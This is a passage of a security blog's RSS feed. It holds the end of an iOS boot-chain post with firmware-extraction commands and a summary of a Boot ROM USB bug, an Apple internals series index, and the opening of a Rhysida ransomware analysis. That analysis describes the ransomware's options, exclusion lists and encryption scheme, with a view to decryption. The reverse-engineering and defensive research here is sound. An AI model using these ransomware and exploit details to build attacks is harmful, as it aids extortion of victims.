<p>An IPSW is a zip archive of Image4 objects, and two open tools, blacktop&rsquo;s <code>ipsw</code> and <code>pyimg4</code>, are enough to go from the download to a kernel you can disassemble.</p>
<p>Exact flags change between tool versions, so check each tool&rsquo;s <code>--help</code>.</p>
<pre><code class="language-bash"># 1. Pull one object straight out of the remote archive: --pattern
#    fetches only the zip entries whose path matches.
ipsw download ipsw --device iPhone10,3 --build 19A346 --pattern 'kernelcache'
</code></pre>
<p>The rest of the chain is in the same archive: <code>Firmware/all_flash/</code> holds iBoot, LLB, the device tree and the SEP firmware, and <code>Firmware/dfu/</code> holds the two DFU payloads, iBSS and iBEC. Change the pattern to pull any of them.</p>
<pre><code class="language-bash"># 2. Read the payload header: what is this, and how is it packed?
pyimg4 im4p info -i kernelcache.release.iphone10b
</code></pre>
<pre><code>Reading kernelcache.release.iphone10b...
Image4 payload info:
  FourCC: krnl
  Description: KernelCacheBuilder_release-2238.10.3
  Data size: 15645.59KB
  Data compression type: LZFSE
  Data size (uncompressed): 42420.8KB
  Encrypted: False
</code></pre>
<p><code>krnl</code> is the type tag from the IM4P, the description is the build tool that produced this kernelcache, and this one is LZFSE rather than the older <code>complzss</code>.</p>
<pre><code class="language-bash"># 3. Pull the raw payload out of the IM4P. extract decompresses by default.
pyimg4 im4p extract -i kernelcache.release.iphone10b -o kernelcache.raw
file kernelcache.raw
</code></pre>
<pre><code>Reading kernelcache.release.iphone10b...
[NOTE] Image4 payload data is LZFSE compressed, decompressing...
Extracted Image4 payload data to: kernelcache.raw
kernelcache.raw: Mach-O 64-bit executable arm64
</code></pre>
<p>The kernelcache is now a Mach-O. Before disassembling it, look at the manifest that lists its digest. The values below are representative of the format, not one device&rsquo;s real signed ones:</p>
<pre><code class="language-bash"># 4. The manifest: the object that says 'Apple signed this'.
# The personalized manifest is not in the IPSW; it comes from your own
# device or a saved SHSH blob (for example via tsschecker).
pyimg4 im4m info -i APTicket.der
#   Device Processor:    T8015           (A11, the iPhone10,3 SoC)
#   ECID (hex):          0x&lt;your device's ECID&gt;
#   ApNonce (hex):       &lt;nonce hash, the BNCH field&gt;
#   SepNonce (hex):      &lt;SEP nonce&gt;
#   Manifest images (N): krnl, ibot, sepi, rdsk, dtre, ...
#   (add -v for each image's DGST digest and the rest of the properties)
</code></pre>
<p>The <code>Manifest images</code> list is the set of components this ticket vouches for; with <code>-v</code>, each is shown alongside the digest (<code>DGST</code>) the loader will require the real image to match. The <code>ECID</code> is the personalization described earlier: run this on a manifest from your own phone and the ECID it prints is that phone&rsquo;s. Open <code>kernelcache.raw</code> from step three in a disassembler and you have the starting point for the next article, on XNU.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p>The anchor itself is still an active research target. In June 2026, Paradigm Shift published usbliter8, a Boot ROM exploit reaching A12, A13 and the S4 and S5 watch chips: the iPhone XR and XS through the iPhone 11 line, the second-generation SE, several iPads, the Series 4 and 5 watches, the HomePod mini. It is a different bug from checkm8. The Synopsys DWC2 USB controller buffers up to three consecutive Setup packets by DMA and, on a fourth, rewinds its write pointer by a fixed 24 bytes; short Setup packets are still stored in 4-byte chunks, so feeding it short ones walks the pointer backwards 12 bytes at a time into SRAM it was never meant to reach. DFU is again where it is reachable, and the ROM is again unpatchable. Two more generations of device.</p>
<p>Above the boot chain, the mitigations belong to later articles. Once the kernel is running, pointer authentication changes what an attacker can do with a bug, which is the subject of <a href="/blog/pointer-authentication-arm64e/">the arm64e post</a> and comes back when this series reaches the kernel.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>This is the full chain, from the Boot ROM to the kernel the rest of the system runs inside. Little of what follows in <a href="/blog/apple-security-stack/">the series</a> introduces a new kind of trust: the sandbox, code signing, the trust caches and the entitlements that decide what a process can do are all enforced by a kernel that runs only because these signatures verified in order, which is why a Boot ROM compromise undermines all of them at once.</p>
<p>This post stops at the moment the kernel starts, and says nothing about what that kernel then enforces. <a href="/blog/xnu-under-the-hood/">The next article</a> moves up one level, into XNU itself: its Mach and BSD halves, and the capability model the rest of the security stack is built on.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from public documentation, open tooling, and published research.</p>
<ul>
<li>Apple Platform Security: <a href="https://support.apple.com/guide/security/boot-process-for-ipad-and-iphone-devices-secb3000f149/web">Boot process for iPhone and iPad</a>, <a href="https://support.apple.com/guide/security/boot-process-secac71d5623/web">Boot process for a Mac with Apple silicon</a>, <a href="https://support.apple.com/guide/security/the-secure-enclave-sec59b0b31ff/web">The Secure Enclave</a>, <a href="https://support.apple.com/guide/security/secure-software-updates-secf683e0b36/web">Secure software updates</a>, and <a href="https://support.apple.com/guide/security/contents-a-localpolicy-file-mac-apple-silicon-secc745a0845/web">the LocalPolicy file contents</a>.</li>
<li>The Image4 format and the APTicket / SHSH scheme: <a href="https://www.theapplewiki.com/wiki/IMG4_File_Format">The Apple Wiki on IMG4</a> and <a href="https://www.theapplewiki.com/wiki/APTicket">APTicket</a>; Jay Freeman (saurik), <a href="https://www.saurik.com/apticket.html">&ldquo;Where did my iOS 6 TSS data go?&rdquo;</a>; and amarioguy&rsquo;s <a href="https://amarioguy.github.io/2025/10/20/iboot_image4_validator.html">&ldquo;An analysis of iBoot&rsquo;s Image4 parser&rdquo;</a>.</li>
<li>checkm8: axi0mX&rsquo;s <a href="https://github.com/axi0mX/ipwndfu">ipwndfu</a> and CERT <a href="https://www.kb.cert.org/vuls/id/941987/">VU#941987</a> (CVE-2019-8900).</li>
<li>usbliter8, the June 2026 SecureROM exploit for A12, A13, S4 and S5: Paradigm Shift&rsquo;s own writeup was unreachable at the time of writing, so the mechanism and device list here come from <a href="https://securityaffairs.com/193965/hacking/usbliter8-brings-unpatchable-bootrom-exploit-to-apple-a12-and-a13-devices.html">Security Affairs</a> and <a href="https://thehackernews.com/2026/06/unpatchable-usbliter8-exploit-breaks.html">The Hacker News</a>.</li>
<li>Tooling used above: <a href="https://github.com/blacktop/ipsw">blacktop/ipsw</a> and <a href="https://github.com/m1stadev/PyIMG4">pyimg4</a>.</li>
<li>For depth beyond any of this, the standard reference is Jonathan Levin&rsquo;s <em>*OS Internals</em>: Volume III (Security &amp; Insecurity) for the boot chain and secure boot, Volume II (Kernel Mode) for XNU.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #0: The Apple security stack</title>
      <link>https://sigreturn.com/blog/apple-security-stack/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/apple-security-stack/</guid>
      <pubDate>Sun, 21 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>apple</category>
      <category>xnu</category>
      <category>iokit</category>
      <category>sandbox</category>
      <category>mitigations</category>
      <description><![CDATA[<p>An iOS app that reaches memory corruption still has almost nothing. It runs inside a profile that names every service it may talk to, its binary was checked against a signature before it started, and the kernel it wants sits behind entry points that validate their arguments. Each of those is a different subsystem, decided at a different moment, and the bug is worth nothing until you know all three.</p>
<p>Ten posts take them one at a time, in the order the device builds them. This page is the index.</p>
<div class="admonition note">
<p>Everything in this article is public. It contains no exploit and no 0day.</p>
</div>
<p><svg class="stack-diagram" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 600" role="img" aria-labelledby="stack-title stack-desc">
  <title id="stack-title">The Apple security stack, layer by layer</title>
  <desc id="stack-desc">Six layers stacked top to bottom, each a link to the post in the series that covers it. Boot chain, post 1. Kernel, post 2. Code signing, post 3, beside sandbox, post 4. IOKit, post 5, beside IPC, post 6. Zone allocator, post 7, beside pointer authentication, post 8, beside the SPTM and TXM monitors and memory tagging, post 9. Userland, post 10. Verification runs down the stack, and an attacker works up it from wherever the first bug lands.</desc>
  <line class="spine" x1="400" y1="12" x2="400" y2="566"/>
  <a href="/blog/ios-chain-of-trust/" aria-label="Apple internals 1, the iOS chain of trust">
    <rect class="band" x="24" y="20" width="752" height="68" rx="8"/>
    <text class="t" x="40" y="48">Boot chain</text>
    <text class="s" x="40" y="70">SecureROM verifies iBoot, then the kernelcache, as Image4</text>
    <text class="n" x="762" y="48" text-anchor="end">#1</text>
  </a>
  <a href="/blog/xnu-under-the-hood/" aria-label="Apple internals 2, XNU under the hood">
    <rect class="band" x="24" y="114" width="752" height="68" rx="8"/>
    <text class="t" x="40" y="142">Kernel</text>
    <text class="s" x="40" y="164">XNU: a Mach core with BSD on top, ports as capabilities</text>
    <text class="n" x="762" y="142" text-anchor="end">#2</text>
  </a>
  <a href="/blog/ios-code-signing-pipeline/" aria-label="Apple internals 3, the iOS code-signing pipeline">
    <rect class="band" x="24" y="208" width="368" height="68" rx="8"/>
    <text class="t" x="40" y="236">Code signing</text>
    <text class="s" x="40" y="258">AMFI, CoreTrust, trust caches, cdhash</text>
    <text class="n" x="378" y="236" text-anchor="end">#3</text>
  </a>
  <a href="/blog/ios-sandbox/" aria-label="Apple internals 4, the iOS sandbox">
    <rect class="band" x="408" y="208" width="368" height="68" rx="8"/>
    <text class="t" x="424" y="236">Sandbox</text>
    <text class="s" x="424" y="258">MACF policy, SBPL profile</text>
    <text class="n" x="762" y="236" text-anchor="end">#4</text>
  </a>
  <a href="/blog/iokit-attack-surface/" aria-label="Apple internals 5, IOKit up close">
    <rect class="band" x="24" y="302" width="368" height="68" rx="8"/>
    <text class="t" x="40" y="330">IOKit</text>
    <text class="s" x="40" y="352">user clients, external methods</text>
    <text class="n" x="378" y="330" text-anchor="end">#5</text>
  </a>
  <a href="/blog/mach-mig-xpc/" aria-label="Apple internals 6, Mach messages, MIG and XPC">
    <rect class="band" x="408" y="302" width="368" height="68" rx="8"/>
    <text class="t" x="424" y="330">IPC</text>
    <text class="s" x="424" y="352">Mach messages, MIG, XPC</text>
    <text class="n" x="762" y="330" text-anchor="end">#6</text>
  </a>
  <a href="/blog/zone-allocator/" aria-label="Apple internals 7, the zone allocator up close">
    <rect class="band" x="24" y="396" width="232" height="68" rx="8"/>
    <text class="t" x="40" y="424">Zone allocator</text>
    <text class="s" x="40" y="446">kalloc_type</text>
    <text class="n" x="242" y="424" text-anchor="end">#7</text>
  </a>
  <a href="/blog/pointer-authentication-arm64e/" aria-label="Apple internals 8, pointer authentication">
    <rect class="band" x="272" y="396" width="168" height="68" rx="8"/>
    <text class="t" x="288" y="424">PAC</text>
    <text class="s" x="288" y="446">arm64e signing</text>
    <text class="n" x="426" y="424" text-anchor="end">#8</text>
  </a>
  <a href="/blog/sptm-txm-memory-tagging/" aria-label="Apple internals 9, SPTM, TXM and memory tagging">
    <rect class="band" x="456" y="396" width="320" height="68" rx="8"/>
    <text class="t" x="472" y="424">Monitors</text>
    <text class="s" x="472" y="446">SPTM, TXM, tagging</text>
    <text class="n" x="762" y="424" text-anchor="end">#9</text>
  </a>
  <a href="/blog/objc-runtime-shared-cache/" aria-label="Apple internals 10, the Objective-C runtime and the shared cache">
    <rect class="band" x="24" y="490" width="752" height="68" rx="8"/>
    <text class="t" x="40" y="518">Userland</text>
    <text class="s" x="40" y="540">Objective-C runtime, dyld shared cache</text>
    <text class="n" x="762" y="518" text-anchor="end">#10</text>
  </a>
  <text class="f" x="24" y="586">Verification runs down the stack. An attacker works up it, from wherever the first bug lands.</text>
</svg></p>
<h2 id="what-each-layer-decides">What each layer decides</h2>
<p>The boot chain decides which kernel runs at all. The SoC leaves reset into a mask ROM written when the chip was fabricated, and from there each stage validates the Image4 signature on the next before handing it control. That is why a Boot ROM bug like checkm8 invalidates every later check on the main processor, though not the Secure Enclave, which boots from a ROM of its own.</p>
<p>XNU is what the chain hands control to: a Mach core for inter-process communication, virtual memory and scheduling, with a BSD layer above it for processes, files and sockets. A Mach port is an unforgeable reference to a kernel object, and holding a send right to the right one is what privilege means here.</p>
<p>AMFI, the AppleMobileFileIntegrity policy module, decides what is allowed to execute, and its answer turns on a 20-byte hash of the code directory called the cdhash. The sandbox decides what an already-running process may touch, and its answer is the profile it was launched with. Both are MACF policies, the Mandatory Access Control Framework XNU inherited from TrustedBSD, and the kernel enforces them, not the process being checked.</p>
<p>Then come the surfaces a confined process can still reach. IOKit is the widest: hundreds of drivers, many of them vending a user client you open and call into with a selector and a buffer. Mach messages, MIG (the Mach Interface Generator, which produces the marshalling code) and XPC, the higher-level framework layered on top of them, are the other, and they lead into a more privileged daemon that may or may not check who is calling.</p>
<p>The hardening layer decides what a bug is worth once you have one. The zone allocator sorts allocations into buckets by the layout signature of the type, which fixes what may take a slot once it is freed. Pointer authentication signs the pointers worth hijacking with a key no memory write can reach. SPTM and TXM (Secure Page Table Monitor, Trusted Execution Monitor) took page-table writes and code-signing decisions out of the kernel&rsquo;s privilege level, and memory tagging on the newest silicon makes the corrupting write itself fault.</p>
<p>Userland is where the reversing happens. An Objective-C object begins with a word you have to decode before it means anything, and the framework it belongs to is a range inside one merged image rather than a file on disk.</p>
<h2 id="the-ten-posts">The ten posts</h2>
<ol>
<li><a href="/blog/ios-chain-of-trust/">The iOS chain of trust</a>. The Boot ROM verifies iBoot, iBoot verifies the kernelcache, and Image4 is the container all of it is signed in. Then checkm8.</li>
<li><a href="/blog/xnu-under-the-hood/">XNU under the hood</a>. Mach and BSD side by side, the port as the unit of capability, and what <code>tfp0</code> actually is once you go looking for it.</li>
<li><a href="/blog/ios-code-signing-pipeline/">The iOS code-signing pipeline</a>. Which binaries are allowed to execute: one MACF policy module and a verdict keyed on the cdhash, from the trust cache through CoreTrust to <code>amfid</code>.</li>
<li><a href="/blog/ios-sandbox/">The iOS sandbox</a>. What a running process may touch. The profile is the exact list, so reading it is usually how you pick the next target.</li>
<li><a href="/blog/iokit-attack-surface/">IOKit up close</a>. How a userland call lands in a driver&rsquo;s dispatch table, and CVE-2022-32832, which needs root before it is reachable at all, walked from the selector to the corruption.</li>
<li><a href="/blog/mach-mig-xpc/">Mach messages, MIG and XPC</a>. How a process asks a more privileged one to do something, and the three functions that decide whether the callee knows who it is answering.</li>
<li><a href="/blog/zone-allocator/">The zone allocator up close</a>. What a memory-corruption bug is worth after <code>kalloc_type</code>, and why the exploits moved down to physical pages.</li>
<li><a href="/blog/pointer-authentication-arm64e/">Pointer authentication</a>. What arm64e signs, and what a bypass has to look like when the key is out of reach.</li>
<li><a href="/blog/sptm-txm-memory-tagging/">SPTM, TXM and memory tagging</a>. The two monitors that took page tables and code-signing decisions away from the kernel, and the tagging that rests on them.</li>
<li><a href="/blog/objc-runtime-shared-cache/">The Objective-C runtime and the shared cache</a>. One word to decode before an object means anything, and libraries that live inside the shared cache.</li>
</ol>
<h2 id="how-to-read-it">How to read it</h2>
<p>In order it is one argument, built the way the device is. Out of order works too: each post stands on its own, glosses its terms, and links back to the one that introduced them. It assumes C, enough ARM64 assembly to read a function, and a disassembler you are comfortable in. It assumes nothing about Apple platforms.</p>
<p>Nine of the ten carry a section headed <em>Hands-on</em>, and none of them needs a jailbroken device or a Corellium instance. They run on an Apple silicon Mac with stock macOS and System Integrity Protection left on, plus the Xcode command line tools, and <a href="https://github.com/blacktop/ipsw"><code>ipsw</code></a> and <a href="https://github.com/m1stadev/PyIMG4"><code>pyimg4</code></a> for the firmware side. The transcripts were taken on macOS 26.4.1, so re-run them rather than quote them.</p>
<h2 id="what-changed-since-2021">What changed since 2021</h2>
<p>If your model of this stack dates from iOS 14 or 15, five things have changed under it.</p>
<ul>
<li><strong><code>kalloc_type</code></strong> (#7), iOS 15 and wider in iOS 16, sorts the heap by the type signature of each allocation, so freeing an object and taking its slot with a different one stops working by default.</li>
<li><strong>SPTM and TXM</strong> (#9) replaced PPL, the Page Protection Layer, from iOS 17 and macOS 14, on A15 and later and on every Mac except the one built around the base M1. The kernel now calls two monitors instead of doing that work itself.</li>
<li><strong>Memory Integrity Enforcement</strong> (#9), the synchronous memory tagging announced in September 2025, ships on the A19 and A19 Pro from iOS 26 and on the M5 from macOS 26. Many linear overflows and use-after-frees now fault at the write.</li>
<li><strong>Credentials</strong> (#2) are out of reach of a plain write. The pointer to them moved into the read-only <code>proc_ro</code> back in the iOS 15 and macOS 12 generation, and the credential itself now comes from the read-only allocator.</li>
<li><strong>Launch constraints</strong> (#3), iOS 16, bind each system binary to the one context it may be launched from, which killed two old signing tricks: repurposing a privileged helper, and reusing an old Apple-signed binary.</li>
</ul>
<h2 id="what-is-out-of-scope">What is out of scope</h2>
<p>This is the local story: an attacker who already has code running on the device, working from a sandbox towards the kernel.</p>
<p>The remote entry points are deliberately absent. WebKit and JavaScriptCore for the one-click case, iMessage, BlastDoor and the image parsers for the zero-click case, baseband and Wi-Fi for the over-the-air case. So is the Secure Enclave, which is closed enough to want a post to itself. They are a second season. The closest thing already here is the post on <a href="/blog/exploiting-javascript-engines/">JavaScript engine exploitation</a>, which works at engine level rather than on iOS.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>One dependency runs through all of it. A third-party app gets the same container profile as every other one, and what widens it is entitlements that only mean anything because AMFI validated the signature carrying them, which in turn only means anything because the kernel enforcing it booted from a verified chain. That is why the layer a bug lands in usually says more about what it is worth than the corruption does.</p>
<p>An index is a menu. The parts that matter are the details it leaves out: which field of which struct, which OS version turned a technique off. <a href="/blog/ios-chain-of-trust/">The chain of trust</a> is where that starts.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything in the series is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS. Four references sit behind all ten posts.</p>
<ul>
<li>Apple, <a href="https://support.apple.com/guide/security/welcome/web">Apple Platform Security</a>, the vendor&rsquo;s description of the boot chain, code signing and the hardware mitigations, and the only source for intent as opposed to behaviour.</li>
<li>Apple, <a href="https://github.com/apple-oss-distributions/xnu">the XNU source</a>, where a question about a struct layout, a return value or a version boundary gets settled. Several corrections in this series came from a header rather than a write-up.</li>
<li>Jonathan Levin, <a href="https://newosxbook.com/index.php"><em>*OS Internals</em></a>, Volume II for kernel mode and Volume III for security, at a depth no blog post reaches.</li>
<li><a href="https://github.com/blacktop/ipsw"><code>ipsw</code></a> by blacktop and <a href="https://github.com/m1stadev/PyIMG4"><code>pyimg4</code></a> by m1stadev, which turn an Apple firmware image into files you can read, and where the firmware-side hands-on sections start.</li>
</ul>]]></description>
    </item>
    <item>
      <title>How I broke Rhysida ransomware encryption</title>
      <link>https://sigreturn.com/blog/rhysida-analysis-decryption/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/rhysida-analysis-decryption/</guid>
      <pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Reverse Engineering</category>
      <category>ransomware</category>
      <category>reverse-engineering</category>
      <category>cryptography</category>
      <category>malware-analysis</category>
      <description><![CDATA[<h2 id="tldr">TL;DR</h2>
<p>Rhysida is a ransomware-as-a-service group that has been active since around May 2023 and has since claimed 250+ victims across healthcare, education, and government, mostly in the US and Europe.</p>
<p>I found a cryptographic flaw in its encryption back in May 2023, just weeks after the ransomware first surfaced, but NDA constraints meant I couldn&rsquo;t publish until now.</p>
<p>The flaw: its file-encryption keys are derived from a timestamp-seeded RNG, so they can be regenerated and the files recovered. I confirmed it across sixteen versions and built a C decryptor that handles all of them. The PowerShell version of the ransomware fixes the flaw. Full technical breakdown below.</p>
<p>Rhysida exists in several forms, written in different languages and compiled for different architectures. This write-up focuses on the sample below, which we treat as the version 0 reference, the earliest one we observed:</p>
<p>SHA-256: <code>a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6</code></p>
<h2 id="static-analysis-of-the-rhysida-encryptor">Static analysis of the Rhysida encryptor</h2>
<p>This version of Rhysida ships with debugging symbols, which makes it considerably easier to analyze. It&rsquo;s also the sample I built the decryptor against, I then adapted it to the other versions as they appeared. We&rsquo;ll walk through that adaptation process too, and to keep things readable we&rsquo;ll only cover the parts of the binary that actually matter.</p>
<h3 id="entry-point-and-initialization">Entry point and initialization</h3>
<p>Execution drops into the encryptor through <code>main</code>, which sets everything up before any of the victim&rsquo;s files get touched. The first disassembled block is already a goldmine, two things jump out:</p>
<p><strong><code>srand</code> is seeded with <code>time(0)</code>.</strong> The PRNG is initialized straight from the current timestamp. This is the crux of the whole vulnerability, and we&rsquo;ll come back to it.</p>
<p><img alt="IDA: srand seeded with time(0) at the start of the encryptor" src="1.png" loading="lazy" decoding="async" width="380" height="63"></p>
<p><strong>A call to <code>GetSystemInfo</code>, then a read of <code>sysinfo.dwNumberOfProcessors</code>.</strong> Rhysida grabs the number of logical processors on the victim&rsquo;s machine and stashes it in a global, <code>PROCS</code>, which it uses later to parallelize the encryption.</p>
<p><img alt="IDA: GetSystemInfo reading dwNumberOfProcessors into the PROCS global" src="2.png" loading="lazy" decoding="async" width="530" height="93"></p>
<p>Next we see a loop that runs a counter up to the number of logical processors found earlier, spawning a new thread for each one. Each thread is later used to generate the file encryption keys asynchronously.</p>
<p><img alt="IDA: loop spawning one encryption thread per logical processor" src="3.png" loading="lazy" decoding="async" width="997" height="651"></p>
<p>This is exactly why we need to know the victim machine&rsquo;s logical processor count to decrypt the files, but that number is usually standard and easy to guess (4, 8, 16, 32, 64…). We&rsquo;ll dig into this in the decryptor development section.</p>
<p>Once the thread-spawning loop is done, the program calls an internal function named <code>parseOptions</code>, which parses the arguments the attacker passed to the program, used to toggle certain internal options of the encryptor or switch its operating mode.</p>
<p><img alt="IDA: call to parseOptions parsing the attacker's command-line arguments" src="4.png" loading="lazy" decoding="async" width="654" height="756"></p>
<p>Two parameters in particular stand out:</p>
<p><strong><code>-d</code></strong>, lets the attacker point the program at a specific directory. The path is stored in a <code>directory_modifier</code> variable, whose value then gets written into the program&rsquo;s internal options.</p>
<p><img alt="IDA: the -d option storing its target path into directory_modifier" src="5.png" loading="lazy" decoding="async" width="622" height="473"></p>
<p><strong><code>-sr</code></strong>, tells the program to delete itself once it&rsquo;s done running. The boolean is held in a <code>self_remove_modifier</code> variable and likewise written into the internal options.</p>
<p><img alt="IDA: the -sr option setting the self_remove_modifier boolean" src="6.png" loading="lazy" decoding="async" width="541" height="580"></p>
<p>To sum up, the decompiled C pseudocode of <code>parseOptions</code> looks roughly like this:</p>
<p><img alt="Decompiled parseOptions pseudocode comparing arguments against -d and -sr" src="7.png" loading="lazy" decoding="async" width="468" height="708"></p>
<p>You can clearly see the comparisons against the <code>"-d"</code> and <code>"-sr"</code> strings, along with the storage of any attacker-supplied parameter values into the program&rsquo;s internal options.</p>
<p>Likewise, here&rsquo;s the C pseudocode for the start of <code>main</code> analyzed earlier, the <code>srand</code> call seeding the PRNG, <code>GetSystemInfo</code> for the processor count, the <code>for</code> loop that spins up the threads, and the <code>parseOptions</code> call:</p>
<p><img alt="main pseudocode: srand seeding, GetSystemInfo, the thread loop and parseOptions" src="8.png" loading="lazy" decoding="async" width="441" height="468"></p>
<h3 id="initializing-the-encryptors-cryptographic-parameters">Initializing the encryptor&rsquo;s cryptographic parameters</h3>
<p>Further along the execution flow, we hit a series of routines that initialize the encryptor&rsquo;s cryptographic parameters.</p>
<p><strong><code>init_prng</code></strong> initializes the pseudo-random number generator. We&rsquo;ll come back to this later in the write-up.</p>
<p><strong><code>rsa_import</code></strong> imports, among other things, a public RSA key referenced earlier in the code, along with its size. This public RSA key is hardcoded into the encryptor.</p>
<p><img alt="IDA: rsa_import loading the hardcoded RSA public key and its size" src="9.png" loading="lazy" decoding="async" width="379" height="156"></p>
<p><strong><code>register_cipher</code> then <code>find_cipher</code></strong> are called in succession to set up the AES cipher mode.</p>
<p><img alt="IDA: register_cipher then find_cipher setting up the AES cipher" src="10.png" loading="lazy" decoding="async" width="1023" height="364"></p>
<p><strong><code>register_hash</code>, <code>chc_register</code> then <code>find_hash</code></strong> are called in succession to set up the hash function used.</p>
<p><img alt="IDA: register_hash, chc_register then find_hash setting up the hash function" src="11.png" loading="lazy" decoding="async" width="1493" height="553"></p>
<h3 id="walking-the-file-system">Walking the file system</h3>
<p>The program then moves on to walking the system&rsquo;s files, through a parent function <code>openDirectoryNR</code> that takes the path of the directory to recurse into. Its prototype is:</p>
<pre><code class="language-c">void __cdecl openDirectoryNR(char *directory_name);
</code></pre>
<h4 id="how-directories-are-selected">How directories are selected</h4>
<p>The argument, the full path to the directory to walk and encrypt, depends on the <code>-d</code> option the attacker passes to the program. As seen earlier, this option sets a target folder to encrypt. For example, <code>-d C:\Users\test\Downloads</code> tells the program to encrypt only the <code>Downloads</code> folder of the user <code>test</code>. If no <code>-d</code> parameter is given, the entire disk is walked and encrypted by default. Here&rsquo;s what that looks like in C pseudocode:</p>
<p><img alt="Pseudocode selecting the directory to walk based on the -d option" src="12.png" loading="lazy" decoding="async" width="459" height="212"></p>
<p>If the internal <code>directory</code> option doesn&rsquo;t exist (meaning no <code>-d</code> was used at launch, which is the default behavior), the program iterates over every letter from <code>A</code> to <code>Z</code> and tries to recursively encrypt every drive mounted on the system: <code>A:</code>, <code>B:</code>, <code>C:</code>, and so on. If a mount point doesn&rsquo;t exist, it&rsquo;s skipped and the encryptor moves to the next letter. So the main system drive, often <code>C:</code>, gets encrypted, along with any other data disks and mounted external storage (<code>D:</code>, <code>E:</code>, &hellip;).</p>
<p>For simplicity we won&rsquo;t break down <code>openDirectoryNR</code> in detail. It&rsquo;s just a file-traversal function: it works through a queue holding the folders to visit one after another, while regular files are pulled out of the traversal and added to a global array named <code>QUERY_FILE_POSS</code> by the <code>addFileToQueue</code> function.</p>
<p><img alt="IDA: addFileToQueue adding regular files to the QUERY_FILE_POSS array" src="13.png" loading="lazy" decoding="async" width="525" height="322"></p>
<h4 id="excluded-directories">Excluded directories</h4>
<p>Some folders are skipped by the encryptor, via an array of directory paths named <code>exclude_directories</code> that the <code>isDirectoryExcluded</code> function checks against. These are mostly system and boot directories: leaving them untouched keeps the machine bootable and usable enough for the victim to actually read the ransom note and pay.</p>
<p><img alt="IDA: isDirectoryExcluded checking paths against the exclude_directories array" src="14.png" loading="lazy" decoding="async" width="531" height="80"></p>
<p><img alt="IDA: the exclude_directories array of skipped system and boot paths" src="15.png" loading="lazy" decoding="async" width="551" height="284"></p>
<p>Once the integer array is exported and converted back to strings, we get the following excluded paths:</p>
<pre><code>/$Recycle.Bin
/Boot
/Documents and Settings
/PerfLogs
/Program Files
/Program Files (x86)
/ProgramData
/Recovery
/System Volume Information
/Windows
/$RECYCLE.BIN
</code></pre>
<h3 id="encrypting-files">Encrypting files</h3>
<p>Across multiple threads, one per logical processor on the system, the <code>processFiles</code> function is called to handle the files assigned to each thread. It walks the array of files to encrypt, extracts the file path&rsquo;s name, checks whether the file is actually a legitimate target with <code>isFileExcluded</code>, and encrypts it where appropriate with <code>processFileEnc</code>.</p>
<p><img alt="IDA: processFiles checking isFileExcluded and calling processFileEnc per file" src="16.png" loading="lazy" decoding="async" width="297" height="78"></p>
<h4 id="excluded-files">Excluded files</h4>
<p>Some files are left out of encryption too. In <code>isFileExcluded</code> we see filtering on file extensions, driven by an integer array <code>exclude_extensions</code> that holds the extensions to skip. As with the excluded directories, these are mostly executables and system files: encrypting them would risk breaking the OS and leaving the machine unbootable, which works against the attacker&rsquo;s goal of a recoverable, ransom-payable system.</p>
<p><img alt="IDA: isFileExcluded filtering targets against the exclude_extensions array" src="17.png" loading="lazy" decoding="async" width="565" height="268"></p>
<p>Just like the previous array, once exported and converted to strings, we get the list of file extensions Rhysida will not encrypt:</p>
<pre><code>.bat
.bin
.cab
.cmd
.com
.cur
.diagcab
.diagcfg
.diagpkg
.drv
.dll
.exe
.hlp
.hta
.ico
.lnk
.msi
.ocx
.ps1
.psm1
.scr
.sys
.ini
Thumbs.db
.url
.iso
</code></pre>
<h4 id="a-quirk-in-the-random-number-generation">A quirk in the random number generation</h4>
<p>Before getting into the encryption process itself, it&rsquo;s essential to understand how Rhysida generates randomness.</p>
<p>As briefly mentioned earlier, the <code>init_prng</code> function called early in execution initializes the random number generator. We see that this function is called once per thread that can run simultaneously during execution. Each thread maps to a logical processor core, which is exactly why the program needs to grab the machine&rsquo;s logical processor count up front.</p>
<p><img alt="IDA: init_prng called once per thread to seed each PRNG" src="18.png" loading="lazy" decoding="async" width="410" height="78"></p>
<p>This function makes several calls into the external <code>libtomcrypt</code> library, notably the ChaCha20 random-string generation functions, but also calls to <code>rand</code>, which acts directly on the value passed earlier to its seeder, <code>srand</code>. In our case, that seed is the timestamp passed to <code>srand</code> at the start of the program.</p>
<p><img alt="IDA: init_prng calling libtomcrypt's ChaCha20 routines and rand" src="19.png" loading="lazy" decoding="async" width="764" height="455"></p>
<p>The global array fed by this function, named <code>prngs</code> and sized to the number of processors, holds the various initialization values for the ChaCha20 random-string generator. It&rsquo;s used throughout the rest of the program, in particular to generate the encryption keys.</p>
<p>The key thing to remember here: from one processor count to another, this array will be different, and so will the strings generated from it.</p>
<h4 id="the-encryption-routine">The encryption routine</h4>
<p>Rhysida&rsquo;s encryption algorithm follows a specific process that we find in every strain we analyzed. As mentioned earlier, a victim file is encrypted in the <code>processFileEnc</code> function, called on each targeted file in turn, taking the file path and name as its argument. we won&rsquo;t detail every cryptographic function involved; to keep things simple, we&rsquo;ll focus only on what&rsquo;s essential to explain how the vulnerability is exploited and how the decryptor was built.</p>
<p>In short: the key and IV for each file are produced by a ChaCha20 string-generation function. Those values are encrypted with RSA, whose private decryption key is held solely by the attacker. The file is then encrypted with the generated key and IV using the CTR algorithm, and these RSA-encrypted values are stored at the end of the encrypted victim file. The ChaCha20, RSA, and CTR algorithms are all implementations from a single external library, <code>libtomcrypt</code>.</p>
<h5 id="the-encryption-process-step-by-step">The encryption process, step by step</h5>
<p>Here&rsquo;s the path Rhysida takes to encrypt files:</p>
<p>Generate a 32-byte key and a 16-byte initialization vector with <code>chacha20_prng_read</code>. Then initialize the cipher with that key and IV using <code>ctr_start</code>.</p>
